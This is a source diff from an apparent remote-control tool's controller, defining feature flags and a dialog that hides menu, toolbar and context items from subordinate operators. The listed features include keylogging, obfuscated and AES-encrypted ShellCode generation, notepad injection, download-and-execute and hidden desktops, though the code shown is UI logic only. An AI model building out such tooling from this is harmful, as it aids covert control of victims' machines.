#define MF_NOTIFY_SETTINGS (1ULL << 1) // HIDE_MENU_NOTIFY_SETTINGS
|
||||
#define MF_WALLET (1ULL << 2) // HIDE_MENU_WALLET
|
||||
#define MF_NETWORK (1ULL << 3) // HIDE_MENU_NETWORK
|
||||
|
||||
// Tools menu [4-10]
|
||||
#define MF_INPUT_PASSWORD (1ULL << 4) // HIDE_MENU_INPUT_PASSWORD
|
||||
#define MF_IMPORT_LICENSE (1ULL << 5) // HIDE_MENU_IMPORT_LICENSE
|
||||
#define MF_RCEDIT (1ULL << 6) // HIDE_MENU_RCEDIT
|
||||
#define MF_GEN_AUTH (1ULL << 7) // HIDE_MENU_GEN_AUTH
|
||||
#define MF_GEN_MASTER (1ULL << 8) // HIDE_MENU_GEN_MASTER
|
||||
#define MF_LICENSE_MGR (1ULL << 9) // HIDE_MENU_LICENSE_MGR
|
||||
#define MF_V2_PRIVATEKEY (1ULL << 10) // HIDE_MENU_V2_PRIVATEKEY
|
||||
|
||||
// ShellCode submenu [11-19]
|
||||
#define MF_SHELLCODE_C (1ULL << 11) // HIDE_MENU_SHELLCODE_C
|
||||
#define MF_SHELLCODE_BIN (1ULL << 12) // HIDE_MENU_SHELLCODE_BIN
|
||||
#define MF_SHELLCODE_LOAD_TEST (1ULL << 13) // HIDE_MENU_SHELLCODE_LOAD_TEST
|
||||
#define MF_SHELLCODE_OBFS (1ULL << 14) // HIDE_MENU_SHELLCODE_OBFS
|
||||
#define MF_SHELLCODE_OBFS_BIN (1ULL << 15) // HIDE_MENU_SHELLCODE_OBFS_BIN
|
||||
#define MF_SHELLCODE_OBFS_TEST (1ULL << 16) // HIDE_MENU_SHELLCODE_OBFS_TEST
|
||||
#define MF_SHELLCODE_AES_C (1ULL << 17) // HIDE_MENU_SHELLCODE_AES_C
|
||||
#define MF_SHELLCODE_AES_BIN (1ULL << 18) // HIDE_MENU_SHELLCODE_AES_BIN
|
||||
#define MF_SHELLCODE_AES_TEST (1ULL << 19) // HIDE_MENU_SHELLCODE_AES_TEST
|
||||
|
||||
// Params menu [20-27]
|
||||
#define MF_KBLOGGER (1ULL << 20) // HIDE_MENU_KBLOGGER
|
||||
#define MF_LOGIN_NOTIFY (1ULL << 21) // HIDE_MENU_LOGIN_NOTIFY
|
||||
#define MF_ENABLE_LOG (1ULL << 22) // HIDE_MENU_ENABLE_LOG
|
||||
#define MF_PRIVACY_WALLPAPER (1ULL << 23) // HIDE_MENU_PRIVACY_WALLPAPER
|
||||
#define MF_FILE_V2 (1ULL << 24) // HIDE_MENU_FILE_V2
|
||||
#define MF_HOOK_WIN (1ULL << 25) // HIDE_MENU_HOOK_WIN
|
||||
#define MF_RUN_AS_SERVICE (1ULL << 26) // HIDE_MENU_RUN_AS_SERVICE
|
||||
#define MF_RUN_AS_USER (1ULL << 27) // HIDE_MENU_RUN_AS_USER
|
||||
|
||||
// Extension menu [28-37]
|
||||
#define MF_HISTORY_CLIENTS (1ULL << 28) // HIDE_MENU_HISTORY_CLIENTS
|
||||
#define MF_BACKUP_DATA (1ULL << 29) // HIDE_MENU_BACKUP_DATA
|
||||
#define MF_IMPORT_DATA (1ULL << 30) // HIDE_MENU_IMPORT_DATA
|
||||
#define MF_RELOAD_PLUGINS (1ULL << 31) // HIDE_MENU_RELOAD_PLUGINS
|
||||
#define MF_PLUGIN_REQUEST (1ULL << 32) // HIDE_MENU_PLUGIN_REQUEST
|
||||
#define MF_FRPS_FOR_SUB (1ULL << 33) // HIDE_MENU_FRPS_FOR_SUB
|
||||
#define MF_CHANGE_LANG (1ULL << 34) // HIDE_MENU_CHANGE_LANG
|
||||
#define MF_CHOOSE_LANG_DIR (1ULL << 35) // HIDE_MENU_CHOOSE_LANG_DIR
|
||||
#define MF_LOCATION_QQWRY (1ULL << 36) // HIDE_MENU_LOCATION_QQWRY
|
||||
#define MF_LOCATION_IP2REGION (1ULL << 37) // HIDE_MENU_LOCATION_IP2REGION
|
||||
|
||||
// Help menu [38-42]
|
||||
#define MF_IMPORTANT (1ULL << 38) // HIDE_MENU_IMPORTANT
|
||||
#define MF_FEEDBACK (1ULL << 39) // HIDE_MENU_FEEDBACK
|
||||
#define MF_WHAT_IS_THIS (1ULL << 40) // HIDE_MENU_WHAT_IS_THIS
|
||||
#define MF_MASTER_TRAIL (1ULL << 41) // HIDE_MENU_MASTER_TRAIL
|
||||
#define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH
|
||||
|
||||
// [43-63] Reserved
|
||||
|
||||
|
||||
// ============================================================
|
||||
// ToolbarFlags bit definitions (corresponds to HIDE_TOOLBAR_* macros)
|
||||
// ============================================================
|
||||
|
||||
#define TF_TERMINAL (1ULL << 0) // HIDE_TOOLBAR_TERMINAL
|
||||
#define TF_PROCESS (1ULL << 1) // HIDE_TOOLBAR_PROCESS
|
||||
#define TF_WINDOW (1ULL << 2) // HIDE_TOOLBAR_WINDOW
|
||||
#define TF_DESKTOP (1ULL << 3) // HIDE_TOOLBAR_DESKTOP
|
||||
#define TF_FILE (1ULL << 4) // HIDE_TOOLBAR_FILE
|
||||
#define TF_AUDIO (1ULL << 5) // HIDE_TOOLBAR_AUDIO
|
||||
#define TF_VIDEO (1ULL << 6) // HIDE_TOOLBAR_VIDEO
|
||||
#define TF_SERVICE (1ULL << 7) // HIDE_TOOLBAR_SERVICE
|
||||
#define TF_REGISTER (1ULL << 8) // HIDE_TOOLBAR_REGISTER
|
||||
#define TF_KEYBOARD (1ULL << 9) // HIDE_TOOLBAR_KEYBOARD
|
||||
#define TF_SETTINGS (1ULL << 10) // HIDE_TOOLBAR_SETTINGS
|
||||
#define TF_BUILD (1ULL << 11) // HIDE_TOOLBAR_BUILD
|
||||
#define TF_SEARCH (1ULL << 12) // HIDE_TOOLBAR_SEARCH
|
||||
#define TF_HELP (1ULL << 13) // HIDE_TOOLBAR_HELP
|
||||
|
||||
// [14-63] Reserved
|
||||
|
||||
|
||||
// ============================================================
|
||||
// ContextFlags bit definitions (corresponds to HIDE_CTX_* macros)
|
||||
// ============================================================
|
||||
|
||||
// Online list context menu [0-21]
|
||||
#define CF_MESSAGE (1ULL << 0) // HIDE_CTX_MESSAGE
|
||||
#define CF_UPDATE (1ULL << 1) // HIDE_CTX_UPDATE
|
||||
#define CF_DELETE (1ULL << 2) // HIDE_CTX_DELETE
|
||||
#define CF_SHARE (1ULL << 3) // HIDE_CTX_SHARE
|
||||
#define CF_PROXY (1ULL << 4) // HIDE_CTX_PROXY
|
||||
#define CF_HOSTNOTE (1ULL << 5) // HIDE_CTX_HOSTNOTE
|
||||
#define CF_VIRTUAL_DESKTOP (1ULL << 6) // HIDE_CTX_VIRTUAL_DESKTOP
|
||||
#define CF_GRAY_DESKTOP (1ULL << 7) // HIDE_CTX_GRAY_DESKTOP
|
||||
#define CF_REMOTE_DESKTOP (1ULL << 8) // HIDE_CTX_REMOTE_DESKTOP
|
||||
#define CF_H264_DESKTOP (1ULL << 9) // HIDE_CTX_H264_DESKTOP
|
||||
#define CF_AUTHORIZE (1ULL << 10) // HIDE_CTX_AUTHORIZE
|
||||
#define CF_UNAUTHORIZE (1ULL << 11) // HIDE_CTX_UNAUTHORIZE
|
||||
#define CF_ASSIGN_TO (1ULL << 12) // HIDE_CTX_ASSIGN_TO
|
||||
#define CF_ADD_WATCH (1ULL << 13) // HIDE_CTX_ADD_WATCH
|
||||
#define CF_LOGIN_NOTIFY (1ULL << 14) // HIDE_CTX_LOGIN_NOTIFY
|
||||
#define CF_RUN_AS_ADMIN (1ULL << 15) // HIDE_CTX_RUN_AS_ADMIN
|
||||
#define CF_UNINSTALL (1ULL << 16) // HIDE_CTX_UNINSTALL
|
||||
#define CF_PRIVATE_SCREEN (1ULL << 17) // HIDE_CTX_PRIVATE_SCREEN
|
||||
#define CF_REGROUP (1ULL << 18) // HIDE_CTX_REGROUP
|
||||
#define CF_INJ_NOTEPAD (1ULL << 19) // HIDE_CTX_INJ_NOTEPAD
|
||||
#define CF_PROXY_PORT (1ULL << 20) // HIDE_CTX_PROXY_PORT
|
||||
#define CF_PROXY_PORT_STD (1ULL << 21) // HIDE_CTX_PROXY_PORT_STD
|
||||
|
||||
// Machine management submenu [22-24]
|
||||
#define CF_MACHINE_SHUTDOWN (1ULL << 22) // HIDE_CTX_MACHINE_SHUTDOWN
|
||||
#define CF_MACHINE_REBOOT (1ULL << 23) // HIDE_CTX_MACHINE_REBOOT
|
||||
#define CF_MACHINE_LOGOUT (1ULL << 24) // HIDE_CTX_MACHINE_LOGOUT
|
||||
|
||||
// Execute command submenu [25-28]
|
||||
#define CF_EXECUTE_DOWNLOAD (1ULL << 25) // HIDE_CTX_EXECUTE_DOWNLOAD
|
||||
#define CF_EXECUTE_UPLOAD (1ULL << 26) // HIDE_CTX_EXECUTE_UPLOAD
|
||||
#define CF_EXECUTE_TESTRUN (1ULL << 27) // HIDE_CTX_EXECUTE_TESTRUN
|
||||
#define CF_EXECUTE_GHOST (1ULL << 28) // HIDE_CTX_EXECUTE_GHOST
|
||||
|
||||
// [29-63] Reserved
|
||||
|
||||
|
||||
// ============================================================
|
||||
// Access functions
|
||||
// ============================================================
|
||||
|
||||
// Get feature flags (returns nullptr if not present or invalid)
|
||||
inline const FeatureFlags* GetFeatureFlags() {
|
||||
extern char g_UpperHash[];
|
||||
const char* ptr = g_UpperHash + FEATURE_FLAGS_OFFSET;
|
||||
if (memcmp(ptr, FEATURE_FLAGS_VERSION, 4) != 0)
|
||||
return nullptr;
|
||||
return (const FeatureFlags*)ptr;
|
||||
}
|
||||
|
||||
// Check if a menu item is disabled at runtime
|
||||
inline bool IsMenuDisabled(uint64_t flag) {
|
||||
const FeatureFlags* ff = GetFeatureFlags();
|
||||
return ff && (ff->MenuFlags & flag);
|
||||
}
|
||||
|
||||
// Check if a toolbar button is disabled at runtime
|
||||
inline bool IsToolbarDisabled(uint64_t flag) {
|
||||
const FeatureFlags* ff = GetFeatureFlags();
|
||||
return ff && (ff->ToolbarFlags & flag);
|
||||
}
|
||||
|
||||
// Check if a context menu item is disabled at runtime
|
||||
inline bool IsContextDisabled(uint64_t flag) {
|
||||
const FeatureFlags* ff = GetFeatureFlags();
|
||||
return ff && (ff->ContextFlags & flag);
|
||||
}
|
||||
|
||||
|
||||
// ============================================================
|
||||
// Helper macros for combined compile-time and runtime check
|
||||
// ============================================================
|
||||
|
||||
#define SHOULD_HIDE_MENU(compile_flag, runtime_flag) \
|
||||
((compile_flag) || IsMenuDisabled(runtime_flag))
|
||||
|
||||
#define SHOULD_HIDE_TOOLBAR(compile_flag, runtime_flag) \
|
||||
((compile_flag) || IsToolbarDisabled(runtime_flag))
|
||||
|
||||
#define SHOULD_HIDE_CTX(compile_flag, runtime_flag) \
|
||||
((compile_flag) || IsContextDisabled(runtime_flag))
|
||||
285
server/2015Remote/FeatureLimitsDlg.cpp
Normal file
285
server/2015Remote/FeatureLimitsDlg.cpp
Normal file
@@ -0,0 +1,285 @@
|
||||
#include "stdafx.h"
|
||||
#include "FeatureLimitsDlg.h"
|
||||
#include "UIBranding.h"
|
||||
|
||||
CFeatureLimitsDlg::CFeatureLimitsDlg(CWnd* pParent)
|
||||
: CDialogLangEx(IDD_FEATURE_LIMITS, pParent)
|
||||
, m_InheritedMenuFlags(0)
|
||||
, m_InheritedToolbarFlags(0)
|
||||
, m_InheritedContextFlags(0)
|
||||
, m_MenuFlags(0)
|
||||
, m_ToolbarFlags(0)
|
||||
, m_ContextFlags(0)
|
||||
, m_CurrentTab(0)
|
||||
{
|
||||
InitMenuItems();
|
||||
InitToolbarItems();
|
||||
InitContextItems();
|
||||
}
|
||||
|
||||
CFeatureLimitsDlg::~CFeatureLimitsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::SetInheritedFlags(const FeatureFlags* inherited)
|
||||
{
|
||||
if (inherited) {
|
||||
m_InheritedMenuFlags = inherited->MenuFlags;
|
||||
m_InheritedToolbarFlags = inherited->ToolbarFlags;
|
||||
m_InheritedContextFlags = inherited->ContextFlags;
|
||||
}
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_TAB_FEATURES, m_TabCtrl);
|
||||
DDX_Control(pDX, IDC_LIST_FEATURES, m_CheckList);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFeatureLimitsDlg, CDialogLangEx)
|
||||
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB_FEATURES, &CFeatureLimitsDlg::OnTcnSelchangeTab)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CFeatureLimitsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
// 设置翻译文本
|
||||
SetWindowText(_TR("下级功能限制"));
|
||||
SetDlgItemText(IDC_STATIC_FEATURE_TIP, _TR("勾选: 对下级隐藏 灰色: 上级已禁用"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
// 添加Tab页
|
||||
m_TabCtrl.InsertItem(0, _TR("主菜单"));
|
||||
m_TabCtrl.InsertItem(1, _TR("工具栏"));
|
||||
m_TabCtrl.InsertItem(2, _TR("右键菜单"));
|
||||
|
||||
// 初始显示第一页
|
||||
m_CurrentTab = 0;
|
||||
PopulateList(0);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::InitMenuItems()
|
||||
{
|
||||
m_MenuItems = {
|
||||
// 文件菜单
|
||||
{ "参数设置", MF_SETTINGS, HIDE_MENU_SETTINGS },
|
||||
{ "提醒设置", MF_NOTIFY_SETTINGS, HIDE_MENU_NOTIFY_SETTINGS },
|
||||
{ "钱包", MF_WALLET, HIDE_MENU_WALLET },
|
||||
{ "网络", MF_NETWORK, HIDE_MENU_NETWORK },
|
||||
// 工具菜单
|
||||
{ "输入密码", MF_INPUT_PASSWORD, HIDE_MENU_INPUT_PASSWORD },
|
||||
{ "导入许可证", MF_IMPORT_LICENSE, HIDE_MENU_IMPORT_LICENSE },
|
||||
{ "PE资源编辑", MF_RCEDIT, HIDE_MENU_RCEDIT },
|
||||
{ "生成授权", MF_GEN_AUTH, HIDE_MENU_GEN_AUTH },
|
||||
{ "生成Master", MF_GEN_MASTER, HIDE_MENU_GEN_MASTER },
|
||||
{ "许可证管理", MF_LICENSE_MGR, HIDE_MENU_LICENSE_MGR },
|
||||
{ "V2私钥", MF_V2_PRIVATEKEY, HIDE_MENU_V2_PRIVATEKEY },
|
||||
// ShellCode子菜单
|
||||
{ "ShellCode C Code", MF_SHELLCODE_C, HIDE_MENU_SHELLCODE_C },
|
||||
{ "ShellCode bin", MF_SHELLCODE_BIN, HIDE_MENU_SHELLCODE_BIN },
|
||||
{ "ShellCode Load Test", MF_SHELLCODE_LOAD_TEST, HIDE_MENU_SHELLCODE_LOAD_TEST },
|
||||
{ "混淆 ShellCode", MF_SHELLCODE_OBFS, HIDE_MENU_SHELLCODE_OBFS },
|
||||
{ "混淆 ShellCode bin", MF_SHELLCODE_OBFS_BIN, HIDE_MENU_SHELLCODE_OBFS_BIN },
|
||||
{ "混淆 Load Test", MF_SHELLCODE_OBFS_TEST, HIDE_MENU_SHELLCODE_OBFS_TEST },
|
||||
{ "AES ShellCode C", MF_SHELLCODE_AES_C, HIDE_MENU_SHELLCODE_AES_C },
|
||||
{ "AES ShellCode bin", MF_SHELLCODE_AES_BIN, HIDE_MENU_SHELLCODE_AES_BIN },
|
||||
{ "AES Load Test", MF_SHELLCODE_AES_TEST, HIDE_MENU_SHELLCODE_AES_TEST },
|
||||
// 参数菜单
|
||||
{ "键盘记录", MF_KBLOGGER, HIDE_MENU_KBLOGGER },
|
||||
{ "登录通知", MF_LOGIN_NOTIFY, HIDE_MENU_LOGIN_NOTIFY },
|
||||
{ "启用日志", MF_ENABLE_LOG, HIDE_MENU_ENABLE_LOG },
|
||||
{ "壁纸隐私", MF_PRIVACY_WALLPAPER, HIDE_MENU_PRIVACY_WALLPAPER },
|
||||
{ "V2文件协议", MF_FILE_V2, HIDE_MENU_FILE_V2 },
|
||||
{ "钩子窗口", MF_HOOK_WIN, HIDE_MENU_HOOK_WIN },
|
||||
{ "作为服务运行", MF_RUN_AS_SERVICE, HIDE_MENU_RUN_AS_SERVICE },
|
||||
{ "以用户身份运行", MF_RUN_AS_USER, HIDE_MENU_RUN_AS_USER },
|
||||
// 扩展菜单
|
||||
{ "历史客户端", MF_HISTORY_CLIENTS, HIDE_MENU_HISTORY_CLIENTS },
|
||||
{ "备份数据", MF_BACKUP_DATA, HIDE_MENU_BACKUP_DATA },
|
||||
{ "导入数据", MF_IMPORT_DATA, HIDE_MENU_IMPORT_DATA },
|
||||
{ "重新加载插件", MF_RELOAD_PLUGINS, HIDE_MENU_RELOAD_PLUGINS },
|
||||
{ "插件请求", MF_PLUGIN_REQUEST, HIDE_MENU_PLUGIN_REQUEST },
|
||||
{ "下级FRP", MF_FRPS_FOR_SUB, HIDE_MENU_FRPS_FOR_SUB },
|
||||
{ "更改语言", MF_CHANGE_LANG, HIDE_MENU_CHANGE_LANG },
|
||||
{ "选择语言目录", MF_CHOOSE_LANG_DIR, HIDE_MENU_CHOOSE_LANG_DIR },
|
||||
{ "QQWry定位", MF_LOCATION_QQWRY, HIDE_MENU_LOCATION_QQWRY },
|
||||
{ "Ip2Region定位", MF_LOCATION_IP2REGION, HIDE_MENU_LOCATION_IP2REGION },
|
||||
// 帮助菜单
|
||||
{ "重要说明", MF_IMPORTANT, HIDE_MENU_IMPORTANT },
|
||||
{ "反馈", MF_FEEDBACK, HIDE_MENU_FEEDBACK },
|
||||
{ "什么是这个", MF_WHAT_IS_THIS, HIDE_MENU_WHAT_IS_THIS },
|
||||
{ "主控跟踪", MF_MASTER_TRAIL, HIDE_MENU_MASTER_TRAIL },
|
||||
{ "请求授权", MF_REQUEST_AUTH, HIDE_MENU_REQUEST_AUTH },
|
||||
};
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::InitToolbarItems()
|
||||
{
|
||||
m_ToolbarItems = {
|
||||
{ "终端管理", TF_TERMINAL, HIDE_TOOLBAR_TERMINAL },
|
||||
{ "进程管理", TF_PROCESS, HIDE_TOOLBAR_PROCESS },
|
||||
{ "窗口管理", TF_WINDOW, HIDE_TOOLBAR_WINDOW },
|
||||
{ "桌面管理", TF_DESKTOP, HIDE_TOOLBAR_DESKTOP },
|
||||
{ "文件管理", TF_FILE, HIDE_TOOLBAR_FILE },
|
||||
{ "语音管理", TF_AUDIO, HIDE_TOOLBAR_AUDIO },
|
||||
{ "视频管理", TF_VIDEO, HIDE_TOOLBAR_VIDEO },
|
||||
{ "服务管理", TF_SERVICE, HIDE_TOOLBAR_SERVICE },
|
||||
{ "注册表管理", TF_REGISTER, HIDE_TOOLBAR_REGISTER },
|
||||
{ "键盘记录", TF_KEYBOARD, HIDE_TOOLBAR_KEYBOARD },
|
||||
{ "参数设置", TF_SETTINGS, HIDE_TOOLBAR_SETTINGS },
|
||||
{ "生成服务端", TF_BUILD, HIDE_TOOLBAR_BUILD },
|
||||
{ "搜索", TF_SEARCH, HIDE_TOOLBAR_SEARCH },
|
||||
{ "帮助", TF_HELP, HIDE_TOOLBAR_HELP },
|
||||
};
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::InitContextItems()
|
||||
{
|
||||
m_ContextItems = {
|
||||
// 在线列表右键菜单
|
||||
{ "发送消息", CF_MESSAGE, HIDE_CTX_MESSAGE },
|
||||
{ "更新客户端", CF_UPDATE, HIDE_CTX_UPDATE },
|
||||
{ "删除", CF_DELETE, HIDE_CTX_DELETE },
|
||||
{ "分享", CF_SHARE, HIDE_CTX_SHARE },
|
||||
{ "代理", CF_PROXY, HIDE_CTX_PROXY },
|
||||
{ "主机备注", CF_HOSTNOTE, HIDE_CTX_HOSTNOTE },
|
||||
{ "虚拟桌面", CF_VIRTUAL_DESKTOP, HIDE_CTX_VIRTUAL_DESKTOP },
|
||||
{ "灰度桌面", CF_GRAY_DESKTOP, HIDE_CTX_GRAY_DESKTOP },
|
||||
{ "远程桌面", CF_REMOTE_DESKTOP, HIDE_CTX_REMOTE_DESKTOP },
|
||||
{ "H264桌面", CF_H264_DESKTOP, HIDE_CTX_H264_DESKTOP },
|
||||
{ "授权", CF_AUTHORIZE, HIDE_CTX_AUTHORIZE },
|
||||
{ "取消授权", CF_UNAUTHORIZE, HIDE_CTX_UNAUTHORIZE },
|
||||
{ "分配给", CF_ASSIGN_TO, HIDE_CTX_ASSIGN_TO },
|
||||
{ "添加监视", CF_ADD_WATCH, HIDE_CTX_ADD_WATCH },
|
||||
{ "登录通知", CF_LOGIN_NOTIFY, HIDE_CTX_LOGIN_NOTIFY },
|
||||
{ "以管理员运行", CF_RUN_AS_ADMIN, HIDE_CTX_RUN_AS_ADMIN },
|
||||
{ "卸载", CF_UNINSTALL, HIDE_CTX_UNINSTALL },
|
||||
{ "私有屏幕", CF_PRIVATE_SCREEN, HIDE_CTX_PRIVATE_SCREEN },
|
||||
{ "重新分组", CF_REGROUP, HIDE_CTX_REGROUP },
|
||||
{ "注入记事本", CF_INJ_NOTEPAD, HIDE_CTX_INJ_NOTEPAD },
|
||||
{ "代理端口", CF_PROXY_PORT, HIDE_CTX_PROXY_PORT },
|
||||
{ "标准代理端口", CF_PROXY_PORT_STD, HIDE_CTX_PROXY_PORT_STD },
|
||||
// 机器管理子菜单
|
||||
{ "关机", CF_MACHINE_SHUTDOWN, HIDE_CTX_MACHINE_SHUTDOWN },
|
||||
{ "重启", CF_MACHINE_REBOOT, HIDE_CTX_MACHINE_REBOOT },
|
||||
{ "注销", CF_MACHINE_LOGOUT, HIDE_CTX_MACHINE_LOGOUT },
|
||||
// 执行命令子菜单
|
||||
{ "下载执行", CF_EXECUTE_DOWNLOAD, HIDE_CTX_EXECUTE_DOWNLOAD },
|
||||
{ "上传执行", CF_EXECUTE_UPLOAD, HIDE_CTX_EXECUTE_UPLOAD },
|
||||
{ "测试运行", CF_EXECUTE_TESTRUN, HIDE_CTX_EXECUTE_TESTRUN },
|
||||
{ "Ghost执行", CF_EXECUTE_GHOST, HIDE_CTX_EXECUTE_GHOST },
|
||||
};
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::PopulateList(int tabIndex)
|
||||
{
|
||||
// 先收集当前Tab的选择
|
||||
CollectFlags();
|
||||
|
||||
// 清空列表
|
||||
m_CheckList.ResetContent();
|
||||
|
||||
// 根据Tab选择不同的项目列表
|
||||
std::vector<FeatureItem>* items = nullptr;
|
||||
uint64_t inheritedFlags = 0;
|
||||
uint64_t selectedFlags = 0;
|
||||
|
||||
switch (tabIndex) {
|
||||
case 0:
|
||||
items = &m_MenuItems;
|
||||
inheritedFlags = m_InheritedMenuFlags;
|
||||
selectedFlags = m_MenuFlags;
|
||||
break;
|
||||
case 1:
|
||||
items = &m_ToolbarItems;
|
||||
inheritedFlags = m_InheritedToolbarFlags;
|
||||
selectedFlags = m_ToolbarFlags;
|
||||
break;
|
||||
case 2:
|
||||
items = &m_ContextItems;
|
||||
inheritedFlags = m_InheritedContextFlags;
|
||||
selectedFlags = m_ContextFlags;
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
// 添加项目到列表
|
||||
for (const auto& item : *items) {
|
||||
// 编译时已隐藏的功能,不显示
|
||||
if (item.compileMacro)
|
||||
continue;
|
||||
|
||||
int index = m_CheckList.AddString(_TR(item.name));
|
||||
m_CheckList.SetItemData(index, item.flag);
|
||||
|
||||
// 检查是否被上级禁用(继承)或用户已选择
|
||||
bool isInherited = (inheritedFlags & item.flag) != 0;
|
||||
bool isSelected = (selectedFlags & item.flag) != 0;
|
||||
|
||||
if (isInherited || isSelected) {
|
||||
m_CheckList.SetCheck(index, TRUE);
|
||||
}
|
||||
|
||||
// 上级已禁用的功能,禁用复选框(灰色,不可取消)
|
||||
if (isInherited) {
|
||||
m_CheckList.Enable(index, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
m_CurrentTab = tabIndex;
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::CollectFlags()
|
||||
{
|
||||
// 根据当前Tab收集选中状态到对应的标志位
|
||||
uint64_t* targetFlags = nullptr;
|
||||
uint64_t inheritedFlags = 0;
|
||||
|
||||
switch (m_CurrentTab) {
|
||||
case 0:
|
||||
targetFlags = &m_MenuFlags;
|
||||
inheritedFlags = m_InheritedMenuFlags;
|
||||
break;
|
||||
case 1:
|
||||
targetFlags = &m_ToolbarFlags;
|
||||
inheritedFlags = m_InheritedToolbarFlags;
|
||||
break;
|
||||
case 2:
|
||||
targetFlags = &m_ContextFlags;
|
||||
inheritedFlags = m_InheritedContextFlags;
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
// 保留继承的标志位
|
||||
*targetFlags = inheritedFlags;
|
||||
|
||||
// 收集用户勾选的项目
|
||||
for (int i = 0; i < m_CheckList.GetCount(); i++) {
|
||||
if (m_CheckList.GetCheck(i)) {
|
||||
*targetFlags |= m_CheckList.GetItemData(i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::OnTcnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
int sel = m_TabCtrl.GetCurSel();
|
||||
PopulateList(sel);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
void CFeatureLimitsDlg::OnOK()
|
||||
{
|
||||
// 收集最后一个Tab的选择
|
||||
CollectFlags();
|
||||
|
||||
CDialogLangEx::OnOK();
|
||||
}
|
||||
70
server/2015Remote/FeatureLimitsDlg.h
Normal file
70
server/2015Remote/FeatureLimitsDlg.h
Normal file
@@ -0,0 +1,70 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include "FeatureFlags.h"
|
||||
#include <afxcmn.h>
|
||||
#include <vector>
|
||||
|
||||
// 功能项定义
|
||||
struct FeatureItem {
|
||||
const char* name; // 显示名称
|
||||
uint64_t flag; // 运行时标志位
|
||||
int compileMacro; // 编译时宏值 (0或1)
|
||||
};
|
||||
|
||||
// 下级功能限制对话框
|
||||
class CFeatureLimitsDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CFeatureLimitsDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CFeatureLimitsDlg();
|
||||
|
||||
enum { IDD = IDD_FEATURE_LIMITS };
|
||||
|
||||
// 设置继承的限制(上级已禁用的功能)
|
||||
void SetInheritedFlags(const FeatureFlags* inherited);
|
||||
|
||||
// 获取用户选择的限制
|
||||
uint64_t GetMenuFlags() const { return m_MenuFlags; }
|
||||
uint64_t GetToolbarFlags() const { return m_ToolbarFlags; }
|
||||
uint64_t GetContextFlags() const { return m_ContextFlags; }
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnOK();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg void OnTcnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
|
||||
private:
|
||||
void InitMenuItems();
|
||||
void InitToolbarItems();
|
||||
void InitContextItems();
|
||||
void PopulateList(int tabIndex);
|
||||
void CollectFlags();
|
||||
|
||||
private:
|
||||
CTabCtrl m_TabCtrl;
|
||||
CCheckListBox m_CheckList;
|
||||
|
||||
// 继承的限制
|
||||
uint64_t m_InheritedMenuFlags;
|
||||
uint64_t m_InheritedToolbarFlags;
|
||||
uint64_t m_InheritedContextFlags;
|
||||
|
||||
// 用户选择的限制
|
||||
uint64_t m_MenuFlags;
|
||||
uint64_t m_ToolbarFlags;
|
||||
uint64_t m_ContextFlags;
|
||||
|
||||
// 功能项列表
|
||||
std::vector<FeatureItem> m_MenuItems;
|
||||
std::vector<FeatureItem> m_ToolbarItems;
|
||||
std::vector<FeatureItem> m_ContextItems;
|
||||
|
||||
// 当前Tab索引
|
||||
int m_CurrentTab;
|
||||
};
|
||||
3222
server/2015Remote/FileManagerDlg.cpp
Normal file
3222
server/2015Remote/FileManagerDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
285
server/2015Remote/FileManagerDlg.h
Normal file
285
server/2015Remote/FileManagerDlg.h
Normal file
@@ -0,0 +1,285 @@
|
||||
#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
|
||||
#define AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_
|
||||
#include "TrueColorToolBar.h" // Added by ClassView
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "IOCPServer.h"
|
||||
#include "SortListCtrl.h"
|
||||
#include <map>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#define CIOCPServer IOCPServer
|
||||
|
||||
#define ClientContext CONTEXT_OBJECT
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
} FILESIZE;
|
||||
|
||||
#define m_DeCompressionBuffer InDeCompressedBuffer
|
||||
|
||||
#define GetBufferLen GetBufferLength
|
||||
|
||||
#define m_Dialog hDlg
|
||||
|
||||
#define m_Socket sClientSocket
|
||||
|
||||
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||
|
||||
